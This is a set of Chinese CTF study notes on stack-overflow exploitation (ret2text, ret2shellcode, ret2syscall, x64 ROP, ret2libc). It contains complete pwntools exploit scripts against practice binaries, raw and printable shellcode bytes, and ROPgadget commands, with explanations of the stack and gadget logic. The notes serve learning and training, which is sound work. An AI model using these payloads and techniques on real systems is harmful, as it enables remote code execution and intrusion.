ret2text
Newstar Week1
from pwn import *
context.log_level = 'debug'
io = process('./ret2text')
# io = remote("node4.buuoj.cn",25439)
io.recvuntil(b"magic\n")
backdoor = 0x4011FB
shell = b'a'*0x28 + p64(backdoor)
io.sendline(shell)
io.interactive()
开启了栈不可执行保护
本题存在后门函数,并且有gets函数存在,可以实现溢出到返回地址,覆盖为后门函数地址即可获得shell
函数调用栈逻辑
ret2shellcode
B0CTF新生赛
from pwn import *
io = process('./new_shellcode')
context.log_level = 'debug'
context.os='linux' # 指定操作系统,方便获取到正确的shellcode
context.arch="amd64" # 指定架构,方便获取到正确的shellcode
shellcode = asm(shellcraft.amd64.sh()) #asm改为机器码,shellcraft.sh()获取调用shell的汇编码,amd64获取64位shellcode
payload=shellcode.ljust(0x108, b'\x90') + p64(0x6010A0) # ljust向shellcode的尾部填充一定长度的字节,使我们写shellcode和实现控制返回地址,在一步之中完成,使用\x90即nop可以避免出现一些错误
io.sendline(payload)
io.interactive()
#\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 amd64shellcode
#\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe1\x52\x53\x89\xe1\xb0\x0b\xcd\x80 32位调用
#可见型字符shellcode
#Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00gao@fossa
#PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx
源程序几乎没有开启任何保护,并且有可读,可写,可执行段
在栈不可执行机制,以及随机化,故无法直接写在栈上shellcode,而bss段在题目中被赋予了可读可写可执行的权限,并且有全局变量存在(全局变量未初始化存在bss段,初始化的全局变量在data段)
本题可以通过strcpy将数据读入,调试发现rsp与rbp之间差0x100字符位置,且64位环境下指针为8字节,因此读入shellcode,再用108个垃圾数据覆盖,加上返回的bss段地址即可获得shell
ret2sycall
CTF-WIKI
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
#flat函数接受一个列表,然后将其转化字节型数据
sh.sendline(payload)
sh.interactive()
源程序为 32 位,开启了 NX 保护
本题没有后门函数,并且无全局变量可写入bss段,NX 保护开启,因此在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程,本题是静态链接,可直接使用gadget
偏移地址通过gdb调试,输入数据后,使用stack命令查看
ROP 攻击一般得满足如下条件
- 程序存在溢出,并且可以控制返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
传递参数逻辑
如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以'bbbb' 作为虚假的地址,其后参数对应的参数内容
如果传参函数较多可以用 右侧方法 | 0 | |
---|---|---|
会执行system("/bin/sh"),puts("hello"),exit(0) | "hello" | |
0 | exit | |
"/bin/sh" | puts | |
exit(可以用bbbb覆盖) | "/bin/sh" | |
ebp: system(system执行后exit退出) | pop_ret | |
local var(绕过ebp,exit/bbbb找到"/bin/sh"填入system) | system |
system调用先压ebp,然后向上寻找两个字长的长度,故将"/bin/sh"写到距system的8字节地方。其他函数需要查看具体实现的汇编代码
x64_rop
题目来源:XMCVE
x64与x86函数使用的参数的不同之处
x86在调用函数时,首先将函数所需参数逆序压入栈中,然后call指令会压入上次执行到的地址(返回地址),然后压入当前ebp的值,并将 ebp 寄存器的值更新为当前栈顶的地址,这样父栈的 ebp信息得以保存。同时,ebp 被更新为被调用函数的基地址。
x64在调用函数时,前6个参数不压入栈中,而是顺序加载到对应的寄存器中(rdi、rsi、rdx、rcx、r8、r9),参数超过6个后于x86一致(压入栈中),因此对于x64的题目,可以利用gadget操控寄存器的值(即找到pop_rdi_ret,有多个参数找对应寄存器)。两者都是先传参后调用
攻击代码
from pwn import *
io = process("./level2_x64")
elf = ELF("./level2_x64")
system = elf.plt["system"] #如果出现地址错误,就去IDA中找对应地址
pop_rdi_ret = 0x00000000004006b3 #将binsh压入rdi,再调用system,64位机器记录的为8字节长度,但可省略前面的0
binsh = next(elf.search(b"/bin/sh"))
payload = cyclic(0x88) + p64(pop_rdi_ret) + p64(binsh) + p64(system) #到system后,会加载存放参数寄存器中的值
io.sendline(payload)
io.interactive()
利用gadgets
- eax=0xb
- ebx=/bin/sh 的地址
- ecx=0
- edx=0
利用ROPgadget工具查找对应的汇编命令
ROPgadget --binary pwn --only 'pop|ret' | grep 'eax'
ROPgadget --binary pwn --only 'pop|ret' | grep 'ebx'
ROPgadget --binary pwn --string '/bin/sh'
找到对应的地址,然后利用gadget原理编写exp后,即可得到shell
ret2libc
CTF-WIKI
from pwn import *
io = process('./ret2libc1')
backdoor = 0x08048720
#backdoor = next(elf.search("/bin/sh"))
system = 0x08048460
#system = elf.plt["system"]
payload = flat(['a' * 112, system, 'b' * 4, backdoor])
io.sendline(payload)
io.interactive()
源程序为 32 位,开启了 NX 保护
本题是动态链接编译,可用gadget不足以直接完成系统调用,因此利用动态链接库的函数,在执行 gets 函数的时候出现了栈溢出,rop发现存在/bin/sh,ida中又可以找到system函数,由此编写exp。(c语言硬编码了字符,不能直接写"/bin/sh",传递地址)
第一次call system-->system@plt-->system@got,此时got存储是system@plt,于是立即返回,system@plt便会对system进行解析写入system@got,最终到system函数。
故第一次是call system-->system@plt-->system@got-->system@plt-->resolve-->system
之后引用是call system-->system@plt-->system@got-->system
ret2libc2
CTF-WIKI
from pwn import *
io = process('./ret2libc2')
elf = ELF("./ret2libc2")
system = elf.plt["system"]
gets = elf.plt['gets']
pop_ebx_ret = 0x0804843d
buf2 = 0x0804A080
#payload = flat([112*'A',gets_adr,sys_adr,buf2_adr,buf2_adr]) 两个及以下可以用这种
payload = flat(['a'*112, gets, pop_ebx_ret, buf2, system, "a"*4, buf2]) #三个及以上用这种
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()
源程序为 32 位,只开了堆栈不可执行
本题有system,但没有"/bin/sh",我们可以自己制造一个。先再bss段找一个变量,我们需要调用gets函数,读取一个bin/sh放在buf2,然后找到gets函数,去plt表看,再在后面的调用中把buf2作为参数。
ret2libc3
对应c语言知识
fflush 是 C 语言中的一个函数,用于清空指定的输出或输入缓冲区。当你需要确保数据立即输出或输入到相应的设备时,可以使用这个函数,,原型为int fflush(FILE *stream); stream为一个指向 FILE
对象的指针,该对象指定了一个输出或输入流。如果成功,返回值为 0,失败返回EOF。
read()函数是在C语言中用于从文件描述符读取数据的函数。
原型为ssize_t read(int fd, void *buf, size_t count);
fd
:文件描述符,它是一个非负整数,用于标识打开的文件。0为stdin 1为stdout 2为errorbuf
:一个指向缓冲区的指针,用于存储从文件中读取的数据。c语言中通常用数组或char类型指针count
:要读取的字节数如果成功读取了count
个字节,则返回读取的字节数。
先泄露libc某个函数的got表地址,不能直接通过gdb看,因为ASLR打开,每次会不一样。
无/bin/sh时,看一下是否存在一些数据末尾为sh,且其后没有其他数据,通过截取来调用,也可以使用libc中的/bin/sh
讲的和做的不一样了